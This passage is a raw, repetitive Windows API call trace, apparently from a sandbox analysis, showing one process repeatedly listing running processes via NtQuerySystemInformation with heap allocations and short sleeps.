ResultLength=0x0 | out: SystemInformation=0x4f9d70, ResultLength=0x0) returned 0xc0000004 [0034.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f9d70, Size=0x9144) returned 0x4edba8 [0034.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4edba8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x4edba8, ResultLength=0x0) returned 0xc0000004 [0034.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4edba8, Size=0xa168) returned 0x4edba8 [0034.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4edba8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x4edba8, ResultLength=0x0) returned 0xc0000004 [0034.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4edba8, Size=0xb18c) returned 0x4edba8 [0034.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4edba8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x4edba8, ResultLength=0x0) returned 0xc0000004 [0034.543] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4edba8, Size=0xc1b0) returned 0x4edba8 [0034.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4edba8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x4edba8, ResultLength=0x0) returned 0x0 [0034.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e8810 [0034.543] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8810) returned 1 [0034.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4e8dc8 [0034.543] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8dc8) returned 1 [0034.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4e6c40 [0034.543] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4e6c40 [0034.543] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.543] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4e8dc8 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8dc8) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.544] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.544] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4e8dc8 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8dc8) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4da790 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da790) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4da790 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da790) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4da790 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da790) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d99a8 [0034.545] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d99a8) returned 1 [0034.545] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d99a8 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d99a8) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8500 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8500) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4e81c8 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4e81c8 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d99a8 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d99a8) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8500 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8500) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4e6c40 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4e81c8 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4e6c40 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d22a0 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d22a0) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4e0290 [0034.546] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e0290) returned 1 [0034.546] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4e6c40 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4da790 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da790) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8500 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8500) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d22a0 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d22a0) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d99a8 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d99a8) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4e81c8 [0034.547] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.547] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6c40 [0034.548] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6c40) returned 1 [0034.548] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4edba8) returned 1 [0034.548] Sleep (dwMilliseconds=0x64) [0035.063] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x4f91f0 [0035.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.063] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x2048) returned 0x4f91f0 [0035.063] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x306c) returned 0x4f91f0 [0035.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x4090) returned 0x4f91f0 [0035.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x50b4) returned 0x4f91f0 [0035.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x60d8) returned 0x4f91f0 [0035.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x70fc) returned 0x4f91f0 [0035.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x8120) returned 0x4f91f0 [0035.064] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0xc0000004 [0035.065] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f91f0, Size=0x9144) returned 0x501318 [0035.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x501318, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x501318, ResultLength=0x0) returned 0xc0000004 [0035.065] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x501318, Size=0xa168) returned 0x501318 [0035.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x501318, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x501318, ResultLength=0x0) returned 0xc0000004 [0035.066] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x501318, Size=0xb18c) returned 0x50b488 [0035.066] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50b488, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x50b488, ResultLength=0x0) returned 0xc0000004 [0035.066] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50b488, Size=0xc1b0) returned 0x50b488 [0035.066] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x50b488, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x50b488, ResultLength=0x0) returned 0xc0000004 [0035.067] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x50b488, Size=0xd1d4) returned 0x4f91f0 [0035.067] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f91f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x4f91f0, ResultLength=0x0) returned 0x0 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e8890 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8890) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4e8f90 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8f90) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6888 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6888 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6888 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.067] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.067] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4e8f90 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8f90) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4e8f90 [0035.068] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e8f90) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4da9f8 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4da9f8 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4da9f8 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.069] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4f5d70 [0035.069] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f5d70 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6888 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4f5d70 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6888 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d2600 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2600) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f70a8 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f70a8) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6888 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4da9f8 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4da9f8) returned 1 [0035.070] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0035.070] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d2600 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d2600) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f5d70) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6888 [0035.071] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6888) returned 1 [0035.071] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f5d70 [0035.071] 